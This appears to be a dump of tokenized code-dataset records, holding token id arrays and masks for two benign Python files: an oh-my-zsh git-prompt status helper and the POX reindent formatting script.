32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
yoshw/oh-my-zsh
plugins/git-prompt/gitstatus.py
492
2648
#!/usr/bin/env python from __future__ import print_function import sys import re import shlex from subprocess import Popen, PIPE, check_output def get_tagname_or_hash(): """return tagname if exists else hash""" cmd = 'git log -1 --format="%h%d"' output = check_output(shlex.split(cmd)).decode('utf-8').strip() hash_, tagname = None, None # get hash m = re.search('\(.*\)$', output) if m: hash_ = output[:m.start()-1] # get tagname m = re.search('tag: .*[,\)]', output) if m: tagname = 'tags/' + output[m.start()+len('tag: '): m.end()-1] if tagname: return tagname elif hash_: return hash_ return None # `git status --porcelain --branch` can collect all information # branch, remote_branch, untracked, staged, changed, conflicts, ahead, behind po = Popen(['git', 'status', '--porcelain', '--branch'], stdout=PIPE, stderr=PIPE) stdout, sterr = po.communicate() if po.returncode != 0: sys.exit(0) # Not a git repository # collect git status information untracked, staged, changed, conflicts = [], [], [], [] ahead, behind = 0, 0 status = [(line[0], line[1], line[2:]) for line in stdout.decode('utf-8').splitlines()] for st in status: if st[0] == '#' and st[1] == '#': if re.search('Initial commit on', st[2]): branch = st[2].split(' ')[-1] elif re.search('no branch', st[2]): # detached status branch = get_tagname_or_hash() elif len(st[2].strip().split('...')) == 1: branch = st[2].strip() else: # current and remote branch info branch, rest = st[2].strip().split('...') if len(rest.split(' ')) == 1: # remote_branch = rest.split(' ')[0] pass else: # ahead or behind divergence = ' '.join(rest.split(' ')[1:]) divergence = divergence.lstrip('[').rstrip(']') for div in divergence.split(', '): if 'ahead' in div: ahead = int(div[len('ahead '):].strip()) elif 'behind' in div: behind = int(div[len('behind '):].strip()) elif st[0] == '?' and st[1] == '?': untracked.append(st) else: if st[1] == 'M': changed.append(st) if st[0] == 'U': conflicts.append(st) elif st[0] != ' ': staged.append(st) out = ' '.join([ branch, str(ahead), str(behind), str(len(staged)), str(len(conflicts)), str(len(changed)), str(len(untracked)), ]) print(out, end='')
mit
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 984, 199, 646, 295, 199, 646, 16701, 199, 504, 3873, 492, 13995, 12, 22773, 12, 1104, 63, 1199, 421, 199, 318, 664, 63, 24173, 63, 269, 63, 2227, 837, 272, 408, 1107, 24009, 340, 3495, 587, 2631, 624, 272, 2088, 275, 283, 3187, 943, 446, 17, 1553, 908, 5961, 72, 5, 68, 4507, 272, 1072, 275, 1104, 63, 1199, 8, 32507, 14, 1294, 8, 1760, 4992, 2708, 360, 1624, 13, 24, 1959, 1913, 342, 272, 2631, 3131, 24009, 275, 488, 12, 488, 272, 327, 664, 2631, 272, 333, 275, 295, 14, 1733, 2258, 8, 17910, 29150, 1072, 9, 272, 340, 333, 26, 267, 2631, 63, 275, 1072, 1491, 77, 14, 928, 22251, 17, 61, 272, 327, 664, 24009, 272, 333, 275, 295, 14, 1733, 360, 1450, 26, 1275, 23033, 4202, 1874, 297, 1072, 9, 272, 340, 333, 26, 267, 24009, 275, 283, 2969, 4805, 435, 1072, 59, 77, 14, 928, 24543, 552, 360, 1450, 26, 18927, 333, 14, 500, 22251, 17, 61, 339, 340, 24009, 26, 267, 372, 24009, 272, 916, 2631, 10388, 267, 372, 2631, 63, 272, 372, 488, 421, 199, 3, 658, 3187, 2004, 1553, 7314, 301, 3993, 1553, 4694, 64, 883, 8775, 1006, 2556, 199, 3, 5246, 12, 3982, 63, 4694, 12, 625, 22586, 12, 410, 6028, 12, 2896, 12, 18511, 12, 23417, 12, 22172, 199, 555, 275, 13995, 2941, 3187, 297, 283, 1205, 297, 2850, 7314, 301, 3993, 297, 2850, 4694, 995, 3839, 29, 6089, 12, 4635, 29, 6089, 9, 199, 2703, 12, 308, 22406, 275, 1115, 14, 10664, 342, 199, 692, 1115, 14, 9913, 1137, 378, 26, 272, 984, 14, 2224, 8, 16, 9, 221, 327, 2832, 282, 6135, 7611, 199, 199, 3, 8775, 6135, 2004, 2556, 199, 638, 8085, 379, 12, 410, 6028, 12, 2896, 12, 18511, 275, 990, 990, 990, 942, 199, 10938, 12, 22172, 275, 378, 12, 378, 199, 1205, 275, 3842, 604, 59, 16, 467, 1004, 59, 17, 467, 1004, 59, 18, 5728, 367, 1004, 315, 3839, 14, 2708, 360, 1624, 13, 24, 1959, 7644, 5106, 199, 509, 410, 315, 2004, 26, 272, 340, 410, 59, 16, 61, 508, 19619, 436, 410, 59, 17, 61, 508, 32326, 267, 340, 295, 14, 1733, 360, 5733, 5532, 641, 297, 410, 59, 18, 4682, 288, 5246, 275, 410, 59, 18, 1055, 1294, 360, 5320, 1988, 17, 61, 267, 916, 295, 14, 1733, 360, 889, 5246, 297, 410, 59, 18, 4682, 221, 327, 32348, 2004, 288, 5246, 275, 664, 63, 24173, 63, 269, 63, 2227, 342, 267, 916, 822, 8, 270, 59, 18, 1055, 1913, 1252, 1294, 360, 1396, 1333, 508, 413, 26, 288, 5246, 275, 410, 59, 18, 1055, 1913, 342, 267, 587, 26, 288, 327, 1453, 436, 3982, 5246, 2256, 288, 5246, 12, 4618, 275, 410, 59, 18, 1055, 1913, 1252, 1294, 360, 15103, 288, 340, 822, 8, 3911, 14, 1294, 360, 20005, 508, 413, 26, 355, 327, 3982, 63, 4694, 275, 4618, 14, 1294, 360, 27618, 16, 61, 355, 986, 288, 587, 26, 355, 327, 23417, 503, 22172, 355, 487, 23803, 275, 283, 1987, 904, 8, 3911, 14, 1294, 360, 27618, 17, 5728, 355, 487, 23803, 275, 487, 23803, 14, 10124, 11894, 1959, 6735, 360, 10374, 355, 367, 9073, 315, 487, 23803, 14, 1294, 5102, 18927, 490, 340, 283, 10938, 7, 315, 9073, 26, 717, 23417, 275, 1109, 8, 3015, 59, 552, 360, 10938, 18927, 1055, 1913, 1012, 490, 916, 283, 25599, 688, 7, 315, 9073, 26, 717, 22172, 275, 1109, 8, 3015, 59, 552, 360, 25599, 688, 18927, 1055, 1913, 1012, 272, 916, 410, 59, 16, 61, 508, 15539, 436, 410, 59, 17, 61, 508, 8720, 356, 267, 625, 22586, 14, 740, 8, 270, 9, 272, 587, 26, 267, 340, 410, 59, 17, 61, 508, 283, 45, 356, 288, 2896, 14, 740, 8, 270, 9, 267, 340, 410, 59, 16, 61, 508, 283, 53, 356, 288, 18511, 14, 740, 8, 270, 9, 267, 916, 410, 59, 16, 61, 1137, 283, 7596, 288, 410, 6028, 14, 740, 8, 270, 9, 199, 199, 548, 275, 283, 1987, 904, 779, 272, 5246, 12, 272, 620, 8, 10938, 395, 272, 620, 8, 25599, 688, 395, 272, 620, 8, 552, 8, 270, 6028, 1826, 272, 620, 8, 552, 8, 22654, 1826, 272, 620, 8, 552, 8, 2489, 1826, 272, 620, 8, 552, 8, 638, 8085, 379, 1826, 199, 566, 199, 1361, 8, 548, 12, 1284, 13275, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 984, 199, 646, 295, 199, 646, 16701, 199, 504, 3873, 492, 13995, 12, 22773, 12, 1104, 63, 1199, 421, 199, 318, 664, 63, 24173, 63, 269, 63, 2227, 837, 272, 408, 1107, 24009, 340, 3495, 587, 2631, 624, 272, 2088, 275, 283, 3187, 943, 446, 17, 1553, 908, 5961, 72, 5, 68, 4507, 272, 1072, 275, 1104, 63, 1199, 8, 32507, 14, 1294, 8, 1760, 4992, 2708, 360, 1624, 13, 24, 1959, 1913, 342, 272, 2631, 3131, 24009, 275, 488, 12, 488, 272, 327, 664, 2631, 272, 333, 275, 295, 14, 1733, 2258, 8, 17910, 29150, 1072, 9, 272, 340, 333, 26, 267, 2631, 63, 275, 1072, 1491, 77, 14, 928, 22251, 17, 61, 272, 327, 664, 24009, 272, 333, 275, 295, 14, 1733, 360, 1450, 26, 1275, 23033, 4202, 1874, 297, 1072, 9, 272, 340, 333, 26, 267, 24009, 275, 283, 2969, 4805, 435, 1072, 59, 77, 14, 928, 24543, 552, 360, 1450, 26, 18927, 333, 14, 500, 22251, 17, 61, 339, 340, 24009, 26, 267, 372, 24009, 272, 916, 2631, 10388, 267, 372, 2631, 63, 272, 372, 488, 421, 199, 3, 658, 3187, 2004, 1553, 7314, 301, 3993, 1553, 4694, 64, 883, 8775, 1006, 2556, 199, 3, 5246, 12, 3982, 63, 4694, 12, 625, 22586, 12, 410, 6028, 12, 2896, 12, 18511, 12, 23417, 12, 22172, 199, 555, 275, 13995, 2941, 3187, 297, 283, 1205, 297, 2850, 7314, 301, 3993, 297, 2850, 4694, 995, 3839, 29, 6089, 12, 4635, 29, 6089, 9, 199, 2703, 12, 308, 22406, 275, 1115, 14, 10664, 342, 199, 692, 1115, 14, 9913, 1137, 378, 26, 272, 984, 14, 2224, 8, 16, 9, 221, 327, 2832, 282, 6135, 7611, 199, 199, 3, 8775, 6135, 2004, 2556, 199, 638, 8085, 379, 12, 410, 6028, 12, 2896, 12, 18511, 275, 990, 990, 990, 942, 199, 10938, 12, 22172, 275, 378, 12, 378, 199, 1205, 275, 3842, 604, 59, 16, 467, 1004, 59, 17, 467, 1004, 59, 18, 5728, 367, 1004, 315, 3839, 14, 2708, 360, 1624, 13, 24, 1959, 7644, 5106, 199, 509, 410, 315, 2004, 26, 272, 340, 410, 59, 16, 61, 508, 19619, 436, 410, 59, 17, 61, 508, 32326, 267, 340, 295, 14, 1733, 360, 5733, 5532, 641, 297, 410, 59, 18, 4682, 288, 5246, 275, 410, 59, 18, 1055, 1294, 360, 5320, 1988, 17, 61, 267, 916, 295, 14, 1733, 360, 889, 5246, 297, 410, 59, 18, 4682, 221, 327, 32348, 2004, 288, 5246, 275, 664, 63, 24173, 63, 269, 63, 2227, 342, 267, 916, 822, 8, 270, 59, 18, 1055, 1913, 1252, 1294, 360, 1396, 1333, 508, 413, 26, 288, 5246, 275, 410, 59, 18, 1055, 1913, 342, 267, 587, 26, 288, 327, 1453, 436, 3982, 5246, 2256, 288, 5246, 12, 4618, 275, 410, 59, 18, 1055, 1913, 1252, 1294, 360, 15103, 288, 340, 822, 8, 3911, 14, 1294, 360, 20005, 508, 413, 26, 355, 327, 3982, 63, 4694, 275, 4618, 14, 1294, 360, 27618, 16, 61, 355, 986, 288, 587, 26, 355, 327, 23417, 503, 22172, 355, 487, 23803, 275, 283, 1987, 904, 8, 3911, 14, 1294, 360, 27618, 17, 5728, 355, 487, 23803, 275, 487, 23803, 14, 10124, 11894, 1959, 6735, 360, 10374, 355, 367, 9073, 315, 487, 23803, 14, 1294, 5102, 18927, 490, 340, 283, 10938, 7, 315, 9073, 26, 717, 23417, 275, 1109, 8, 3015, 59, 552, 360, 10938, 18927, 1055, 1913, 1012, 490, 916, 283, 25599, 688, 7, 315, 9073, 26, 717, 22172, 275, 1109, 8, 3015, 59, 552, 360, 25599, 688, 18927, 1055, 1913, 1012, 272, 916, 410, 59, 16, 61, 508, 15539, 436, 410, 59, 17, 61, 508, 8720, 356, 267, 625, 22586, 14, 740, 8, 270, 9, 272, 587, 26, 267, 340, 410, 59, 17, 61, 508, 283, 45, 356, 288, 2896, 14, 740, 8, 270, 9, 267, 340, 410, 59, 16, 61, 508, 283, 53, 356, 288, 18511, 14, 740, 8, 270, 9, 267, 916, 410, 59, 16, 61, 1137, 283, 7596, 288, 410, 6028, 14, 740, 8, 270, 9, 199, 199, 548, 275, 283, 1987, 904, 779, 272, 5246, 12, 272, 620, 8, 10938, 395, 272, 620, 8, 25599, 688, 395, 272, 620, 8, 552, 8, 270, 6028, 1826, 272, 620, 8, 552, 8, 22654, 1826, 272, 620, 8, 552, 8, 2489, 1826, 272, 620, 8, 552, 8, 638, 8085, 379, 1826, 199, 566, 199, 1361, 8, 548, 12, 1284, 13275, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
kit-tm/Labs
03_SDN/pox/tools/reindent-pox.py
80
10490
#! /usr/bin/env python # Released to the public domain, by Tim Peters, 03 October 2000. """reindent [-d][-r][-v] [ path ... ] -d (--dryrun) Dry run. Analyze, but don't make any changes to, files. -r (--recurse) Recurse. Search for all .py files in subdirectories too. -n (--nobackup) No backup. Does not make a ".bak" file before reindenting. -v (--verbose) Verbose. Print informative msgs; else no output. -h (--help) Help. Print this usage information and exit. Change Python (.py) files to use 2-space indents and no hard tab characters. Also trim excess spaces and tabs from ends of lines, and remove empty lines at the end of files. Also ensure the last line ends with a newline. If no paths are given on the command line, reindent operates as a filter, reading a single source file from standard input and writing the transformed source to standard output. In this case, the -d, -r and -v flags are ignored. You can pass one or more file and/or directory paths. When a directory path, all .py files within the directory will be examined, and, if the -r option is given, likewise recursively for subdirectories. If output is not to standard output, reindent overwrites files in place, renaming the originals with a .bak extension. If it finds nothing to change, the file is left alone. If reindent does change a file, the changed file is a fixed-point for future runs (i.e., running reindent on the resulting .py file won't change it again). The hard part of reindenting is figuring out what to do with comment lines. So long as the input files get a clean bill of health from tabnanny.py, reindent should do a good job. The backup file is a copy of the one that is being reindented. The ".bak" file is generated with shutil.copy(), but some corner cases regarding user/group and permissions could leave the backup file more readable that you'd prefer. You can always use the --nobackup option to prevent this. """ __version__ = "1" import tokenize import os, shutil import sys verbose = 0 recurse = 0 dryrun = 0 makebackup = True def usage(msg=None): if msg is not None: print >> sys.stderr, msg print >> sys.stderr, __doc__ def errprint(*args): sep = "" for arg in args: sys.stderr.write(sep + str(arg)) sep = " " sys.stderr.write("\n") def main(): import getopt global verbose, recurse, dryrun, makebackup try: opts, args = getopt.getopt(sys.argv[1:], "drnvh", ["dryrun", "recurse", "nobackup", "verbose", "help"]) except getopt.error, msg: usage(msg) return for o, a in opts: if o in ('-d', '--dryrun'): dryrun += 1 elif o in ('-r', '--recurse'): recurse += 1 elif o in ('-n', '--nobackup'): makebackup = False elif o in ('-v', '--verbose'): verbose += 1 elif o in ('-h', '--help'): usage() return if not args: r = Reindenter(sys.stdin) r.run() r.write(sys.stdout) return for arg in args: check(arg) def check(file): if os.path.isdir(file) and not os.path.islink(file): if verbose: print "listing directory", file names = os.listdir(file) for name in names: fullname = os.path.join(file, name) if ((recurse and os.path.isdir(fullname) and not os.path.islink(fullname) and not os.path.split(fullname)[1].startswith(".")) or name.lower().endswith(".py")): check(fullname) return if verbose: print "checking", file, "...", try: f = open(file) except IOError, msg: errprint("%s: I/O Error: %s" % (file, str(msg))) return r = Reindenter(f) f.close() if r.run(): if verbose: print "changed." if dryrun: print "But this is a dry run, so leaving it alone." if not dryrun: bak = file + ".bak" if makebackup: shutil.copyfile(file, bak) if verbose: print "backed up", file, "to", bak f = open(file, "w") r.write(f) f.close() if verbose: print "wrote new", file return True else: if verbose: print "unchanged." return False def _rstrip(line, JUNK='\n \t'): """Return line stripped of trailing spaces, tabs, newlines. Note that line.rstrip() instead also strips sundry control characters, but at least one known Emacs user expects to keep junk like that, not mentioning Barry by name or anything <wink>. """ i = len(line) while i > 0 and line[i-1] in JUNK: i -= 1 return line[:i] class Reindenter: def __init__(self, f): self.find_stmt = 1 # next token begins a fresh stmt? self.level = 0 # current indent level # Raw file lines. self.raw = f.readlines() # File lines, rstripped & tab-expanded. Dummy at start is so # that we can use tokenize's 1-based line numbering easily. # Note that a line is all-blank iff it's "\n". self.lines = [_rstrip(line).expandtabs() + "\n" for line in self.raw] self.lines.insert(0, None) self.index = 1 # index into self.lines of next line # List of (lineno, indentlevel) pairs, one for each stmt and # comment line. indentlevel is -1 for comment lines, as a # signal that tokenize doesn't know what to do about them; # indeed, they're our headache! self.stats = [] def run(self): tokenize.tokenize(self.getline, self.tokeneater) # Remove trailing empty lines. lines = self.lines while lines and lines[-1] == "\n": lines.pop() # Sentinel. stats = self.stats stats.append((len(lines), 0)) # Map count of leading spaces to # we want. have2want = {} # Program after transformation. after = self.after = [] # Copy over initial empty lines -- there's nothing to do until # we see a line with *something* on it. i = stats[0][0] after.extend(lines[1:i]) for i in range(len(stats)-1): thisstmt, thislevel = stats[i] nextstmt = stats[i+1][0] have = getlspace(lines[thisstmt]) want = thislevel * 2 if want < 0: # A comment line. if have: # An indented comment line. If we saw the same # indentation before, reuse what it most recently # mapped to. want = have2want.get(have, -1) if want < 0: # Then it probably belongs to the next real stmt. for j in xrange(i+1, len(stats)-1): jline, jlevel = stats[j] if jlevel >= 0: if have == getlspace(lines[jline]): want = jlevel * 2 break if want < 0: # Maybe it's a hanging # comment like this one, # in which case we should shift it like its base # line got shifted. for j in xrange(i-1, -1, -1): jline, jlevel = stats[j] if jlevel >= 0: want = have + getlspace(after[jline-1]) - \ getlspace(lines[jline]) break if want < 0: # Still no luck -- leave it alone. want = have else: want = 0 assert want >= 0 have2want[have] = want diff = want - have if diff == 0 or have == 0: after.extend(lines[thisstmt:nextstmt]) else: for line in lines[thisstmt:nextstmt]: if diff > 0: if line == "\n": after.append(line) else: after.append(" " * diff + line) else: remove = min(getlspace(line), -diff) after.append(line[remove:]) return self.raw != self.after def write(self, f): f.writelines(self.after) # Line-getter for tokenize. def getline(self): if self.index >= len(self.lines): line = "" else: line = self.lines[self.index] self.index += 1 return line # Line-eater for tokenize. def tokeneater(self, type, token, (sline, scol), end, line, INDENT=tokenize.INDENT, DEDENT=tokenize.DEDENT, NEWLINE=tokenize.NEWLINE, COMMENT=tokenize.COMMENT, NL=tokenize.NL): if type == NEWLINE: # A program statement, or ENDMARKER, will eventually follow, # after some (possibly empty) run of tokens of the form # (NL | COMMENT)* (INDENT | DEDENT+)? self.find_stmt = 1 elif type == INDENT: self.find_stmt = 1 self.level += 1 elif type == DEDENT: self.find_stmt = 1 self.level -= 1 elif type == COMMENT: if self.find_stmt: self.stats.append((sline, -1)) # but we're still looking for a new stmt, so leave # find_stmt alone elif type == NL: pass elif self.find_stmt: # This is the first "real token" following a NEWLINE, so it # must be the first token of the next program statement, or an # ENDMARKER. self.find_stmt = 0 if line: # not endmarker self.stats.append((sline, self.level)) # Count number of leading blanks. def getlspace(line): i, n = 0, len(line) while i < n and line[i] == " ": i += 1 return i if __name__ == '__main__': main()
bsd-2-clause
[ 3168, 1182, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 17646, 68, 370, 314, 4575, 2881, 12, 701, 26244, 11379, 878, 12, 30569, 18365, 22459, 12293, 14, 199, 199, 624, 264, 3724, 5243, 68, 15898, 82, 15898, 86, 61, 359, 931, 2263, 1622, 199, 199, 13, 68, 334, 306, 10481, 1065, 9, 257, 577, 651, 1255, 14, 257, 14279, 806, 12, 1325, 2793, 1133, 1852, 1263, 4493, 370, 12, 1584, 14, 199, 13, 82, 334, 306, 25786, 9, 221, 18306, 261, 14, 257, 8730, 367, 1006, 1275, 647, 1584, 315, 24799, 4634, 14, 199, 13, 78, 334, 306, 889, 5751, 9, 3091, 6902, 14, 12078, 440, 1852, 282, 3680, 27162, 2, 570, 2544, 295, 3724, 316, 14, 199, 13, 86, 334, 306, 3832, 9, 221, 5444, 2220, 14, 257, 9101, 315, 20889, 17599, 27, 587, 949, 1072, 14, 199, 13, 72, 334, 306, 3437, 9, 258, 15456, 14, 420, 9101, 642, 4503, 2556, 436, 4458, 14, 199, 199, 4001, 2018, 17048, 647, 9, 1584, 370, 675, 499, 13, 2638, 31140, 436, 949, 7508, 5174, 4110, 14, 199, 31892, 11639, 444, 670, 7883, 436, 12187, 687, 11187, 402, 2385, 12, 436, 2813, 2701, 2385, 199, 292, 314, 1284, 402, 1584, 14, 221, 6121, 4868, 314, 2061, 1004, 11187, 543, 282, 8057, 14, 199, 199, 3917, 949, 3792, 787, 1627, 641, 314, 1414, 1004, 12, 295, 3724, 1758, 2335, 465, 282, 2457, 12, 199, 19332, 282, 2849, 1350, 570, 687, 4465, 1324, 436, 3575, 314, 14834, 199, 1365, 370, 4465, 1072, 14, 221, 1010, 642, 1930, 12, 314, 446, 68, 12, 446, 82, 436, 446, 86, 3285, 787, 199, 11996, 14, 199, 199, 5556, 883, 986, 1373, 503, 1655, 570, 436, 15, 269, 2082, 3792, 14, 221, 3979, 282, 2082, 199, 515, 12, 1006, 1275, 647, 1584, 4453, 314, 2082, 911, 506, 15735, 1942, 12, 436, 12, 340, 314, 446, 82, 199, 1422, 365, 1627, 12, 2839, 2605, 15035, 367, 24799, 14, 199, 199, 3917, 1072, 365, 440, 370, 4465, 1072, 12, 295, 3724, 1806, 16334, 1584, 315, 4192, 12, 199, 828, 9568, 314, 3379, 83, 543, 282, 1275, 27162, 3329, 14, 221, 982, 652, 17651, 6548, 370, 199, 1461, 12, 314, 570, 365, 3602, 23016, 14, 221, 982, 295, 3724, 1630, 1570, 282, 570, 12, 314, 2896, 199, 493, 365, 282, 6317, 13, 1403, 367, 6466, 7858, 334, 73, 14, 69, 2020, 3879, 295, 3724, 641, 314, 199, 1099, 316, 1275, 647, 570, 7859, 1133, 1570, 652, 4020, 680, 199, 199, 1918, 7508, 1777, 402, 295, 3724, 316, 365, 6085, 4039, 734, 4052, 370, 886, 543, 3721, 199, 1278, 14, 221, 2002, 1846, 465, 314, 1324, 1584, 664, 282, 3633, 330, 778, 402, 13822, 687, 199, 2902, 78, 1189, 89, 14, 647, 12, 295, 3724, 1077, 886, 282, 6954, 3906, 14, 199, 199, 1918, 6902, 570, 365, 282, 1331, 402, 314, 1373, 626, 